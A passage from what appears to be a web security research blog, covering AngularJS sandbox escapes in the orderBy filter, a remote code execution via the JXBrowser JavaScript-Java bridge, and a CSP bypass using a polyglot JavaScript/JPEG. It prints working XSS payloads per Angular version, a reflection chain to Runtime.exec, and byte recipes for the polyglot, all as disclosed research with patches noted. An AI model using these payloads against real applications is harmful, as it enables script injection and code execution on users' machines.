JSP pages are a special case that deserves to be mentioned. Briefly, JSP code gets translated into servlets and those in turn are compiled to Java bytecode. Most implementations of JSP do this on demand, that is: JSPs will be compiled only after they have been requested by a client. That means that Infiltrator won’t instrument JSP files because they are not Java bytecode initially. Nevertheless, users can get around this in a number of ways. For instance, by triggering JSP pre-compilation manually before the application is deployed, which will generate the required bytecode.

Ran into trouble?

Keep an eye on exceptions in the web server logs (or the application logging facilities) if you see strange behaviour or if your application fails to start after infiltrating. Modern applications routinely throw exceptions, so you may filter on the following types if you think there’s something wrong:
  • java.lang.ClassFormatError
  • java.lang.VerifyError
  • java.lang.NoClassDefFoundError
  • java.lang.StackOverflowError
These four types of exceptions are good indicators that some classes or archives are making assumptions that were broken by the patching process. Please submit a report if you do stumble upon any of these, your feedback helps improve the Infiltrator experience!

Conclusion

A patch for the repository configuration vulnerability was released in version 2017.1.2 on June 2 along with a clickjacking issue that was used as part of the reported PoC.

It might not be in the OWASP top 10 just yet but we think Infiltrator-augmented testing is a valuable addition to any hacker’s playbook, and highly recommend you give it a go when you get the chance. Infiltrating applications might sound daunting, but a little attentiveness to when and how the infiltration is performed may yield exotic vulnerabilities and unexpected insights.

Happy hunting! - @salchoman

Thursday, May 11, 2017

DOM based AngularJS sandbox escapes

Last year in XSS Without HTML: Client-Side Template Injection with AngularJS we showed that naive use of the AngularJS framework exposes websites to Cross-Site Scripting (XSS) attacks, given a suitable sandbox escape. In this post, I'll look at how to develop a sandbox escape that works in a previously unexploitable context - the order by filter. I’ve written up the entire exploit development process including various techniques that didn’t quite work out.

I’ve also presented this research as part of AllStars 2017 at AppSec EU - I’ll link the recording as soon as it’s online.

DOM Based AngularJS sandbox escapes slides

Outline


Angular Sandbox History

When Angular first shipped it didn't have a sandbox at all, so in versions 1.0 - 1.1.5 there was no sandbox. But Angular expressions were scoped to a local object defined by the developer, which prevented you from calling functions on the window object because you would be scoped to the scope object and if you tried to call alert, it would call alert on the scope object and not the window object, making the function call fail. Mario Heiderich found a way around this restriction by using the constructor property. He discovered you can execute arbitrary code in expressions using the Function constructor.

{{constructor.constructor('alert(1)')()}}

Here, constructor refers to the scope constructor property which is the Object constructor. constructor.constructor is the Function constructor which allows you to generate a function from a string and therefore execute arbitrary code.

After Mario's exploit Angular introduced a basic sandbox; the ensureSafeMemberName function was born. This function checked JavaScript properties for the constructor property, and also rejected properties containing an underscore at the start or end of the string.

function ensureSafeMemberName(name, fullExpression, allowConstructor) {
 if(name === "constructor" && !allowConstructor) {
   throw …
 }
 if(name.charAt(0) === '_' || name.charAt(name.length-1) === '_') {
   throw …
 }
 return name;
}
Jan Horn found found the first public sandbox escape for 1.2.0.

{{
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
}}

He used the sub function (which is an ancient JavaScript string method that generates a sub tag) as a shortcut to get a function in Angular because it's a very short name. Then he used call.call to get the generic call method; normally when you use a single call method this will execute on the current function but using call.call the generic call function allows you to choose a function to call.

He then uses getOwnPropertyDescriptor to get the descriptor of the function prototype object and the constructor property. A descriptor is an object literal that describes an object property; it will tell you if the property is enumerable, configurable, writable and if it has any getters and setters. "value" will also contain a reference to the property value.

Value will contain a reference to the Function constructor which he sends to the generic call method’s first argument. The second argument doesn’t matter - it’s meant to specify the object used when executing the function, but the Function constructor ignores it and uses the window object instead. As such, Jan just passes in a zero. Finally he passes the code he wishes to execute, escaping the sandbox by generating a new function via the Function constructor.

In response to this excellent bypass Angular improved their sandbox. They improved the ensureSafeMemberName function to check specifically for certain property names such as __proto__.

function ensureSafeMemberName(name, fullExpression) {
  if (name === "__defineGetter__" || name === "__defineSetter__" || name === "__lookupGetter__" || name === "__lookupSetter__" || name === "__proto__") {
   throw …
  }
 return name;
}

They also introduced a new function that checks for specific objects when referencing them or calling functions. The ensureSafeObject function checked for the Function constructor, the window object, DOM elements and the Object constructor.

function ensureSafeObject(obj, fullExpression) {
  if (obj) {
    if (obj.constructor === obj) {
      throw …
    } else if (obj.window === obj) {
     throw …
    } else if (obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
     throw …
    } else if (obj === Object) {
     throw …
    }
  }
 return obj;
}
Then we had a bit of a sandbox party and every version of the Angular sandbox was broken. I did a blog post about my particular sandbox escape and it also lists all of the escapes from the earliest to the latest version (1.5.11) were the sandbox is active. Eventually Angular decided to remove the sandbox completely in version 1.6 for performance and because they didn't consider the sandbox to be a security feature.

Developing DOM based sandbox escapes

You might think the fun is over regarding sandbox escapes since it was removed in Angular 1.6. However not quite yet...after I delivered a talk in London Lewis Ardern pointed out to me that Angular expressions can be executed within an order by filter and developers may use user input like location.hash to set the order by filter.

I noticed that the code was being parsed and executed without "{{" or "}}" and that $eval and $$watchers were not available inside the sandboxed environment. This made a lot of previous sandbox escapes ineffective since they relied on using $eval or $$watchers. If we look at the list of public sandbox escapes below, you can see which ones work inside the order by context and which don't.


1.0.1 - 1.1.5 == works
constructor.constructor('alert(1)')()

1.2.0 - 1.2.18 == works
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

1.2.19 - 1.2.23 == works
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);

1.2.24 - 1.2.29 == not working
'a'.constructor.prototype.charAt=''.valueOf;
$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");

1.3.0 == not working (calls $$watchers)
!ready && (ready = true) && (
   !call
   ? $$watchers[0].get(toString.constructor.prototype)
   : (a = apply) &&
   (apply = constructor) &&
   (valueOf = call) &&
   (''+''.toString(
   'F = Function.prototype;' +
   'F.apply = F.a;' +
   'delete F.a;' +
   'delete F.valueOf;' +
   'alert(1);'
  ))
); 

1.3.1 - 1.5.8 == not working (calls $eval)
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//');  
 
1.6.0 > == works (sandbox gone)
constructor.constructor('alert(1)')() 
I decided to start with version 1.3.0. The first problem I had to solve was how to enumerate objects inside this environment so I could see what properties were available. Modifying the String prototype proved a useful method for inspecting sandboxed code; I would assign a property I wanted to inspect to the string prototype with the same name and then use a setTimeout to retrieve that value. The code worked like this:


// sandboxed code 
'a'.constructor.prototype.xPropertyIwantedToInspect=PropertyIwantedToInspect;
//outside sandboxed code
setTimeout(function(){
   for(var i in '') {
      if(''[i]) {
        for(var j in ''[i]) {
         if(''[i][j])alert(j+'='+''[i][j]);
        }
      }
   }
});
I then extracted all the keywords and variables from the Angular source code and ran it sandboxed. Although the code didn't show me any dangerous functions like $eval that I could use to escape the sandbox, it did find some interesting behaviour. When defining a getter on the Object prototype with a function of [].toString, I found that the join function was being called on the object! The idea here was to get the join function to call the Function constructor and pass arguments and execute arbitrary JavaScript. The fiddle I used is here. On every major browser using the toString function as a getter or as a method on an object automatically calls join on that object. Unfortunately I couldn't find a way to pass arguments. Here's how it works outside of Angular code.

'a'.sub.__proto__.__defineGetter__('x',[].toString);
'a'.sub.__proto__.join=Function;
alert('a'.sub.x+''); // outputs function anonymous

It even works on window too. The example below overwrites the toString property of window with [].toString and you'll see join gets called on window and the alert fires.

toString=[].toString
join=alert;
window+1 // calls alert without any arguments 

So of course I fuzzed all the objects and properties to see what other functions call join. When using an array literal with a getter the following functions all call join: copyWithin, fill, reverse, sort, valueOf, toString.

o=[1,2,3];
o.__defineGetter__('x',[].fill);
o.join=function(){alert(1);};
o.x+''

Breaking 1.3.0

Pretty cool behaviour but I decided to change direction and try something different. I played around with 1.3.0 some more and noticed that when modifying the Object prototype you could reference the Function and Object constructors! When calling the Function constructor Angular would throw an error but because I could access the Object constructor, I had access to all its methods:

{}[['__proto__']]['x']=constructor;
I used an array with the property accessor to bypass Angular's ensureSafeMemberName check because Angular looks for dangerous strings using the strict equals operator and is not expecting an array. Using the object enumeration technique mentioned previously I saw the Object constructor was successfully assigned. I first created a reference to getOwnPropertyDescriptor, then assigned the variable "g" to it.

{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];
Next I used getOwnPropertyDescriptor to get the Function prototype descriptor. I'll use this later to get the Function constructor.

{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
I also need a reference to defineProperty so I can overwrite the constructor property to bypass Angular's ensureSafeObject check.

{}[['__proto__']]['z']=constructor.defineProperty;
Here is how I use defineProperty to overwrite "constructor" to false.
d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});

Finally I use the descriptor obtained using getOwnPropertyDescriptor to get a reference to the Function constructor without using the constructor property.

{}[['__proto__']]['y'].value('alert(1)')()
The complete sandbox escape is below and works in Angular versions 1.2.24-1.2.26/1.3.0-1.3.1.

{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;
g={}[['__proto__']]['x'];
{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
{}[['__proto__']]['z']=constructor.defineProperty;
d={}[['__proto__']]['z'];
d(''.sub[['__proto__']],'constructor',{value:false});
{}[['__proto__']]['y'].value('alert(1)')()

Sandbox escape PoC 1.3.0

Owning the 1.3 branch

That sandbox escape was cool but it only worked on a limited number of Angular versions. I wanted to own the entire 1.3 branch. I started to look at how they parse expressions. Testing version 1.2.27 I added a breakpoint at line 1192 of the Angular file and started to test various object properties to see how they would rewrite the code. I spotted something interesting, if you didn't include an alphanumeric property Angular seemed to eat the semi-colon character and think it was an object property. Here's what the expression looked like:

{}.;

Here is how Angular rewrote the code (note you have to continue 5 times in the debugger):

var p;
if(s == null) return undefined;
s=((l&&l.hasOwnProperty(";"))?l:s)[";"];
return s;"

As you can see Angular was including the semi-colon twice in the rewritten output. What if we break out of the double quote? We can basically XSS the rewritten code and bypass the sandbox. In order for this to work we need to provide a valid string to Angular so we don't break the initial parsing of the expression. Angular seems fine with parsing an object property with quotes :) and so may I present the smallest possible Angular sandbox escape:

{}.",alert(1),";

This causes the rewritten output to be:

var p;
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("",alert(1),""))?l:s)["",alert(1),""];
return s;
Sandbox escape PoC 1.2.27

To get this to work in the 1.3 branch we just have to slightly modify the vector to break out of the rewritten code. If you observe the rewritten code in version 1.3.4 you will notice that it creates a syntax error.

if(s == null) return undefined;
s=((l&&l.hasOwnProperty("",alert(1),""))?l:s).",alert(1),";
return s;
We just need to break out of the parenthesis and comment out the syntax error and here is the final vector which works for 1.2.27-1.2.29/1.3.0-1.3.20.

{}.")));alert(1)//";
Sandbox escape PoC 1.3.20

Breaking 1.4

Next I decided to look at the 1.4 branch. Earlier versions of the 1.4 branch were vulnerable to the accessor trick of using an array to access __proto__, __defineSetter__ etc, I thought maybe I could use some of those properties/methods to escape the sandbox somehow. I needed to overwrite "constructor" and retain access to the Function constructor as before but this time I didn't have access to the Object constructor because the sandbox has been tightened on this branch.

On Safari/IE11 it's possible to set globals using __proto__. You cannot overwrite existing properties but you can create new ones. This proved a dead end since defined properties take priority over inherited ones from the Object prototype.

({}).__proto__.__proto__={__proto__:null,x:123};
alert(window.x)//works on older versions of safari and IE11

Because Angular uses a truthy check in ensureSafeObject I thought maybe using a boolean could fail the check and then get access to the Function constructor. However Angular checks every property in the object chain so it does detect the constructor. Here's how it could have worked.


false.__proto__.x=Function;
if(!false)false.x('alert(1)')();

It's also possible to overwrite the constructor property of the Function constructor by assigning its __proto__ property to null which makes constructor undefined, but if you use Function.prototype.constructor you can get the original Function constructor. This proved another dead end as in order to overwrite the __proto__ property of the Function constructor you need access to it in the first place and Angular will block it. You can overwrite the constructor property for every function but unfortunately this means you cannot access the original.

Function.__proto__=null;
alert(Function.constructor);//undefined
Function.prototype.constructor('alert(1)')();

In Firefox 51 it's possible to get the caller of a function using __lookupGetter__. All other browsers prevent access to caller this way. Interesting, but with no functions available in Angular it proved another dead end.


function y(){
   alert(y.__lookupGetter__('caller').call(y));
}
function x(){
   y()
}
x();

I next looked at using __defineGetter__ and valueOf to create an alias to the Function constructor.

'a'.sub.__proto__.__defineGetter__('x',[].valueOf);
Function.x('alert(1)')();

You can also use getters to execute a function that normally requires an object. So the "this" value becomes the object you assigned the getter to. For example the __proto__ function will not execute without an object, using a getter will allow you to use the __proto__ function to get the object prototype.

o={};
o.__defineGetter__('x','a'.sub.__lookupGetter__('__proto__'));
o.x//gets the __proto__ of the current object

The above technique failed because even though I created an alias to the Function constructor there was no way to access the Function constructor without destroying the constructor property. It did give me an idea though. Maybe I could use __lookupGetter__/__defineSetter__ in the scope of window.


On Chrome you can save a reference to __lookupGetter__ and it will use window as the default object enabling you to access the document object.

l={}.__lookupGetter__;
l('document')().defaultView.alert(1)
You can also use __defineSetter__ this way too.

x={}.__defineSetter__;
x('y',alert);
y=1
Angular converts direct function calls like alert() into method invocations on the Angular object. To work around this I use an indirect call ‘(l=l)’ which makes the __lookupGetter__ function execute in the context of the window, granting access to the document.

x={};l=x[['__lookupGetter__']];
d=(l=l)('document')();
Great we have access to document so it's game over for Angular right? Well not quite yet. Angular also checks every object to see if it's a DOM node:
...

} else if (// isElement(obj)
   obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
   throw $parseMinErr('isecdom','Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}', fullExpression);
}
...

When the getter function is called Angular will block the document object. I thought I could use __defineGetter__ to assign the getter function to a property but this will break the reference to window and so the document won't be returned. I fuzzed every property in Chrome 56.0.2924.87 to see which getters were available and only __proto__ and document were available. Then I decided to try Chrome beta 57.0.2987.54 and a lot more getters were available!

I looked through all the getters and began testing to see if I could execute arbitrary code. I found I could steal localStorage and navigate history, but that isn’t particularly scary. After testing for a while I noticed the event object was available. Each event object has a target property which refers to the current DOM object of the event. It turns out Angular doesn’t check this property and I could simply execute code by using the target property to get the document object and defaultView to get access to window then assigning to location.

o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(1)';

Sandbox escape PoC 1.4.5 (chrome only)

Breaking newer versions of the sandbox

In newer versions of the Angular sandbox, the __lookupGetter__ function is protected correctly. You can no longer access it using the array object accessor trick. To exploit these versions of Angular I needed some sort of Angular eval so we could make previous exploits in a regular Angular expression work in the order by context. The order by filter evaluates a string as an Angular expression, so we can get our eval by calling a nested order by from within the outer order by.


First we execute the first part of a sandbox escape to make charAt return a longer string rather than a single character and break the isIdent function as mentioned on my previous blog post. Then we call the order filter on our string payload to execute.

x={y:''.constructor.prototype};
x.y.charAt=[].join;
[1]|orderBy:'x=alert(1)'

Sandbox escape PoC 1.5.0 (chrome only)

Breaking CSP mode


The previous sandbox escape works on versions 1.5.0 - 1.5.8. I started to look at 1.5.11 to see if I could break that. Unfortunately I couldn't break it in a DOM based context however I discovered a bypass that works in attributes. Using my object enumeration strategy, I found that in Chrome, the $event object in Angular contains an array stored in its path property. The path property contains an array holding both document and window! By passing this array to the order by filter I could change the scope that the evaluated expression executes in to the window:

<div ng-click="$event.path|orderBy:'alert(1)'">test</div>

This escape works in an attribute context but when you enable CSP it will fail. Angular seems to check the window object of the calling function in CSP mode and will therefore prevent the sandbox escape from executing. To get round this we simply need to call the alert function indirectly and the Array.from function provides a convenient way of doing this. It takes two arguments;an array like object and a function to execute on every element of the array. I pass an array with 1 in the first argument and the alert function to call in the second argument. This bypasses CSP mode and should work in every Angular version.


<div ng-click="$event.path|orderBy:'[].constructor.from([1],alert)'">test</div>

CSP bypass for 1.5.11 (chrome only)

Conclusion

When using Angular, it’s crucial to avoid passing user input into filters like order by, as well as server-side reflection of user input. Regardless of which version of Angular you’re using, and what context user input is being interpreted in, it’s best to assume the sandbox has been bypassed.

If you’re thinking about adding a sandbox to your language, carefully consider whether the security benefits will outweigh the development cost and the potential false sense of security some users may feel.
Enjoy the sandbox escapes - @garethheyes

List of DOM based Angular sandbox escapes

1.0.1 - 1.1.5
Mario Heiderich (Cure53)
constructor.constructor('alert(1)')()

1.2.0 - 1.2.18
Jan Horn (Cure53)
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

1.2.19 - 1.2.23
Mathias Karlsson
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);

1.2.24-1.2.26
Gareth Heyes (PortSwigger)
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
{}[['__proto__']]['z']=constructor.defineProperty;
d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});
{}[['__proto__']]['y'].value('alert(1)')()

1.2.27-1.2.29/1.3.0-1.3.20
Gareth Heyes (PortSwigger)
{}.")));alert(1)//";

1.4.0-1.4.5
Gareth Heyes (PortSwigger)
o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(1)';

1.4.5-1.5.8
Gareth Heyes (PortSwigger) & Ian Hickey
x={y:''.constructor.prototype};
x.y.charAt=[].join;
[1]|orderBy:'x=alert(1)'
>=1.6.0
Mario Heiderich (Cure53)
constructor.constructor('alert(1)')()

Thursday, December 8, 2016

RCE in JXBrowser JavaScript/Java bridge

I recently found myself prototyping an experimental scanning technique using JXBrowser, a library for using a PhantomJS-like browser in Java applications. Whilst creating a JavaScript to Java bridge using the JXBrowser library, I wondered if it was possible to achieve remote code execution from a web page attacking the JXBrowser client by calling different classes than the one I supplied. My JavaScript to Java bridge looked something like this:

browser.addScriptContextListener(new ScriptContextAdapter() {
    @Override
    public void onScriptContextCreated(ScriptContextEvent event) {
        Browser browser = event.getBrowser();
        JSValue window = browser.executeJavaScriptAndReturnValue("window");
        window.asObject().setProperty("someObj", new someJavaClass());
    }
});

This example was taken from the JXBrowser web site, basically the code injects a script into the browser instance, retrieves the window object and converts it into a Java JSValue object, then it sets “someObj” on the window and passes the Java object to the JavaScript window object and we have a bridge! The docs said that only public classes could be used. Once we have created a bridge we need some JavaScript to interact with it.

setTimeout(function f(){
    if(window.someObj && typeof window.someObj.javaFunction === 'function') {
      window.someObj.javaFunction("Called Java function from JavaScript");
    } else {
       setTimeout(f,0);
    }
},0);

We have a setTimeout that checks to see if we have “someObj”, if not it calls itself until we do. My first attempt was to use getRuntime() to see if I could get an instance of the runtime object and execute calc. I called:

window.someObj.getClass().forName('java.lang.Runtime').getRuntime();

I got the following error back:
Neither public field nor method named 'getRuntime' exists in the java.lang.Class Java object.

Maybe it wasn’t possible to call getRuntime? I tried to do something simpler:

window.someObj.getClass().getSuperclass().getName();

This seemed to work. I tried enumerating the methods too.

methods = window.someObj.getClass().getSuperclass().getMethods();
for(i=0;i<methods.length();i++) {
   console.log(methods[i].getName());
}
 
wait
wait
wait
equals
toString
hashCode
getClass
notify
notifyAll

So I could successfully enumerate the methods. I decided to try ProcessBuilder next and see what would happen. But every time I tried to call the constructor it failed. It seems the constructor was expecting a Java Array. Somehow I needed to create a Java array of strings so I could pass it to the ProcessBuilder constructor.

window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance("open","-a Calculator");
//Failed

window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(["open","-a Calculator"]);
//Failed too 

Leaving this problem for a second I tried to create another object that would prove this is vulnerable. I could successfully create an instance of the java.net.Socket class.

window.someObj.getClass().forName("java.net.Socket").newInstance();

I tried calling “connect” on this object but again I had the problem of incorrect types for the arguments. This did prove however that I could create socket objects, I couldn’t use them but I could at least create them. It’s worth noting here that I wasn’t passing any arguments for this to work. Next I tried the java.io.File class but again it failed, I had no option but to use reflection but any time a function was expecting arguments I couldn’t supply it with the correct type. newInstance didn’t work and invoke didn’t work.

I needed help, I needed Java expert help. Fortunately working at Portswigger you are never the smartest one in the room :) I asked Mike and Patrick for their help. I explained the problem that I needed a Java array in order to pass arguments to a function and so we began looking for ways to create arrays in our bridge.

Mike thought maybe using an arraylist was the answer because we could convert it to an array with it’s convenient toArray method.

list = window.someObj.getClass().forName("java.util.ArrayList").newInstance(); 
list.add("open");
list.add("-a");
list.add("Calculator");
a = list.toArray();
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));

The call threw a no such method exception and stated that our argument passed was in fact a JSObject. So even though we created an ArrayList the toArray was being converted to a js object by the bridge so the incorrect argument type was being sent to process builder.

We then tried to create an Array instead. Using reflection again we called new instance on the java.lang.reflect.Array but it complained that again we had incorrect argument types, we were sending a double but it was expecting an int. Then we tried to create an int using java.lang.Integer. But again we had the damn argument type problem. Patrick thought we could use the MAX_INT property and create a huge array :) but at least we’d have our int but no, the bridge of course was converting the integer from java into a double.

This is what we tried:
window.someObj.getClass().forName("java.lang.Integer").getDeclaredField("MAX_VALUE").getInt(null);

But we got a null pointer exception and without arguments didn’t work either but this is JavaScript remember I thought why not send 123 and see if it will be accepted as an argument and we thought it wouldn’t work but it did in fact print out our max int. We continued trying to call the Array constructor with our max int value but it of course failed. Then we decided to look at the runtime object and see if we could use the same technique. Mike suggested using getDeclaredField and get the current runtime property and making it accessible because it was a private property and to our great delight we popped the calculator.

field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField("currentRuntime");
field.setAccessible(true);
runtime = field.get(123);
runtime.exec("open -a Calculator");

This meant any website rendered in JXBrowser by code employing the JavaScript-Java bridge could potentially take complete control of the client.

We privately reported this issue to TeamDev (the makers of JXBrowser), and they released a patch to support a whitelist of allowed properties/methods using the @JSAccessible annotation. Note that if an application doesn't use the @JSAccessible annotation anywhere the whitelist won't be enforced, and the exploit above will still work.

Enjoy - @garethheyes

Thursday, December 1, 2016

Bypassing CSP using polyglot JPEGs

James challenged me to see if it was possible to create a polyglot JavaScript/JPEG. Doing so would allow me to bypass CSP on almost any website that hosts user-uploaded images on the same domain. I gleefully took up the challenge and begun dissecting the format. The first four bytes are a valid non-ASCII JavaScript variable 0xFF 0xD8 0xFF 0xE0. Then the next two bytes specify the length of the JPEG header. If we make that length of the header 0x2F2A using the bytes 0x2F 0x2A as you might guess we have a non-ASCII variable followed by a multi-line JavaScript comment. We then have to pad out the JPEG header to the length of 0x2F2A with nulls. Here's what it looks like:

FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00....

Inside a JPEG comment we can close the JavaScript comment and create an assignment for our non-ASCII JavaScript variable followed by our payload, then create another multi-line comment at the end of the JPEG comment.

FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A

0xFF 0xFE is the comment header 0x00 0x1C specifies the length of the comment then the rest is our JavaScript payload which is of course */=alert("Burp rocks.")/*

Next we need to close the JavaScript comment, I edited the last four bytes of the image data before the end of image marker. Here's what the end of the file looks like:

2A 2F 2F 2F FF D9


0xFF 0xD9 is the end of image marker. Great so there is our polyglot JPEG, well not quite yet. It works great if you don't specify a charset but on Firefox when using a UTF-8 character set for the document it corrupts our polyglot when included as an script! On MDN it doesn't state that the script supports the charset attribute but it does. So to get the script to work you need to specify the ISO-8859-1 charset on the script tag and it executes fine.

It's worth noting that the polyglot JPEG works on Safari, Firefox, Edge and IE11. Chrome sensibly does not execute the image as JavaScript.

Here is the polyglot JPEG:
Polyglot JPEG
 
The code to execute the image as JavaScript is as follows:
<script charset="ISO-8859-1" src="http://portswigger-labs.net/polyglot/jpeg/xss.jpg"></script>

File size restrictions 

I attempted to upload this graphic as a phpBB profile picture but it has restrictions in place. There is a 6k file size limit and maximum dimensions of 90x90. I reduced the size of the logo by cropping and thought about how I could reduce the JPEG data. In the JPEG header I use /* which in hex is 0x2F and 0x2A, combined 0x2F2A which results in a length of 12074 which is a lot of padding and will result in a graphic far too big to fit as a profile picture. Looking at the ASCII table I tried to find a combination of characters that would be valid JavaScript and reduce the amount of padding required in the JPEG header whilst still being recognised as a valid JPEG file.

The smallest starting byte I could find was 0x9 (a tab character) followed by 0x3A (a colon) which results in a combined hex value of 0x093A (2362) that shaves a lot of bytes from our file and creates a valid non-ASCII JavaScript label statement, followed by a variable using the JFIF identifier. Then I place a forward slash 0x2F instead of the NULL character at the end of the JFIF identifier and an asterisk as the version number. Here's what the hex looks like:

FF D8 FF E0 09 3A 4A 46 49 46 2F 2A
 
Now we continue the rest of the JPEG header then pad with NULLs and inject our JavaScript payload:

FF D8 FF E0 09 3A 4A 46 49 46 2F 2A 01 01 00 48 00 48 00 00 00 00 00 00 00 ... (padding more nulls) 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A

Here is the smaller graphic:
Polyglot JPEG smaller

Impact

If you allow users to upload JPEGs, these uploads are on the same domain as your app, and your CSP allows script from "self", you can bypass the CSP using a polyglot JPEG by injecting a script and pointing it to that image.

Conclusion

In conclusion if you allow JPEG uploads on your site or indeed any type of file, it's worth placing these assets on a separate domain. When validating a JPEG, you should rewrite the JPEG header to ensure no code is sneaked in there and remove all JPEG comments. Obviously it's also essential that your CSP does not whitelist your image assets domain for script.

This post wouldn't be possible without the excellent work of Ange Albertini. I used his JPEG format graphic extensively to create the polygot JPEG. Jasvir Nagra also inspired me with his blog post about polyglot GIFs.

PoC

Update...

Mozilla are fixing this in Firefox 51

Enjoy - @garethheyes